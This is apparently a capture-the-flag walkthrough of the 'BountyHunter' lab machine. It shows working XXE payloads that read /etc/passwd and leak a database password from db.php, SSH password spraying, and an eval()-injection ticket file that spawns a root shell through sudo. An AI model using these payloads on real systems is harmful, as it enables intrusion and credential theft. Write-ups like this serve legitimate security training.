Footprinting
Open ports
Nmap SYN scan shows only SSH and HTTP services are opened:
kali@kali:~$ sudo nmap -sS -p- -Pn -v10 -oA nmap/syn_full 10.10.11.100
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
NSE scan:
kali@kali:~$ nmap -sC -sV -p22,80 -Pn -v10 -oA nmap/vuln 10.10.11.100
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
| 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Bug report form
/log_submit.php
contains a POST form to /tracker_diRbPr00f314.php
. The web page has the title Bounty Report System - Beta
and its form can be filled with the following data:
Exploit Title
CWE
CVSS Score
Bounty Reward ($)
Here's an example:
>>>
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmI8L2N3ZT4KCQk8Y3Zzcz5jPC9jdnNzPgoJCTxyZXdhcmQ+MTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==
The data to send is encoded in base64. Decoding it reveals an XML document:
kali@kali:~$ echo "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmI8L2N3ZT4KCQk8Y3Zzcz5jPC9jdnNzPgoJCTxyZXdhcmQ+MTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==" |base64 -d
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>a</title>
<cwe>b</cwe>
<cvss>c</cvss>
<reward>1</reward>
</bugreport>
When that XML is sent, each input (namely title
, cwe
, cvss
and reward
) is reflected (i.e. shown) in the response:
<<<
Title: a
CWE: b
Score: c
Reward: 1
Xml eXternal Entities
We may check if the form is vulnerable to XXE injection, using an external entity named payload
. This entity will point to the content of /etc/passwd
in the web server:
<?xml version="1.0"?>
<!DOCTYPE xxe [<!ENTITY payload SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>a</title>
<cwe>&payload;</cwe>
<cvss>ab</cvss>
<reward>a</reward>
The payload got executed and the response discloses the content of the server's /etc/passwd
in the CWE
field:
>>>
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
data=PD94bWwgIHZlcnNpb249IjEuMCI%2fPg0KPCFET0NUWVBFIHh4ZSBbPCFFTlRJVFkgcGF5bG9hZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2bIF0%2bCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2bYTwvdGl0bGU%2bCgkJPGN3ZT4mcGF5bG9hZDs8L2N3ZT4KCQk8Y3Zzcz5hYjwvY3Zzcz4KCQk8cmV3YXJkPmE8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3d
<<<
Title: a
CWE: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Score: c
Reward: 1
Then, we can exploit that XXE to read arbitrary files in the web server !
PHP scripts wrapping
Using gobuster
, the web page db.php
is disclosed, which would be interesting to read:
kali@kali:~$ gobuster dir -u http://10.10.11.100/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
[...]
/db.php (Status: 200) [Size: 0]
[...]
As the web server is running PHP, we could use the PHP wrapper php://
, with a PHP filter, in order to convert the content of a web page into base64. This is possible with the following XML payload:
<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>a</cwe>
<cvss>ab</cvss>
The content of db.php
is then disclosed:
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
But what to do with this password ? In /etc/passwd
, there are only 2 users that may connect to the SSH server:
kali@kali:~$ grep sh$ etc_passwd
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
Then, we could do a password spraying attack with CrackMapExec against the SSH service. This attack tries to login with every username in a wordlist using a unique password. With the following usernames wordlist:
kali@kali:~$ cat users.txt
root
development
development
is a valid candidate !
kali@kali:~$ crackmapexec ssh 10.10.11.100 -u users.txt -p 'm19RoAU0hP41A1sTsq6K'
SSH 10.10.11.100 22 10.10.11.100 [+] development:m19RoAU0hP41A1sTsq6K
kali@kali:~$ ssh development@10.10.11.100
password: m19RoAU0hP41A1sTsq6K
development@bountyhunter:~$
Local privilege escalation
development
The user flag is in the development
's HOME directory:
development@bountyhunter:~$ ls
contract.txt prueba.md user.txt
development@bountyhunter:~$ cat user.txt
1f[...]36
Note that
contract.txt
is not really important:
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
Knowing the password of development
, we can launch sudo -l
and see which privileged commands he may run:
development@bountyhunter:~$ sudo -l
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Ticket Validator
The python script is:
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Let's break it down.
local_file(loc)
local_file(loc)
returns a file pointer if the given filename ends with .md
(the ticket):
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
main()
main()
is the first function executed in the script. It evaluates the file given by the user and prints Valid ticket.
or Invalid ticket.
depending on the result of evaluate(ticket)
:
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
evaluate(ticketFile)
evaluate(ticketFile)
returns a boolean that depends on the content of the given ticket:
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
But more importantly, it runs an eval()
function if all the conditions above it are True
:
[...]
for i,x in enumerate(ticketFile.readlines()):
[...]
validationNumber = eval(x.replace("**", ""))
i
is the line number, andx
the line's content.
Therefore, if we can run this program as root
with no password, this means that putting import os;os.system("/bin/sh")
inside eval ()
would spawn a shell as root
!
To do so, we first need to create a .md
file which validates every conditions (so return False
isn't called):
- The 1st line must start with
# Skytrain Inc
:
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
- The 2nd line must start with
## Ticket to
:
if i == 1:
if not x.startswith("## Ticket to "):
return False
- The 3rd must start with
__Ticket Code:__
. Otherwise, the conditionif code_line and i == code_line
would be false, ascode_line
is initialized toNone
:
code_line = None
[...]
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
- The 4th line must start with
**
:
if not x.startswith("**"):
return False
- The 4th line should begin with the pattern
**INT+
, whereINT % 7 == 4
:
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
- Finally, the python code in the 4th line is executed:
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
root
Then, we can spawn a shell with the following ticket file:
development@bountyhunter:~$ cat prueba.md
# Skytrain Inc
## Ticket to abc
__Ticket Code:__
**102+exec('''import os;os.system("/bin/sh")''')
Finally, a root
shell is spawned using the sudo
command !
development@bountyhunter:~$ sudo python ticketValidator.py
Please enter the path to the ticket file.
prueba.md
Destination: abc
$ whoami
root
$ cat /root/root.txt
16[...]04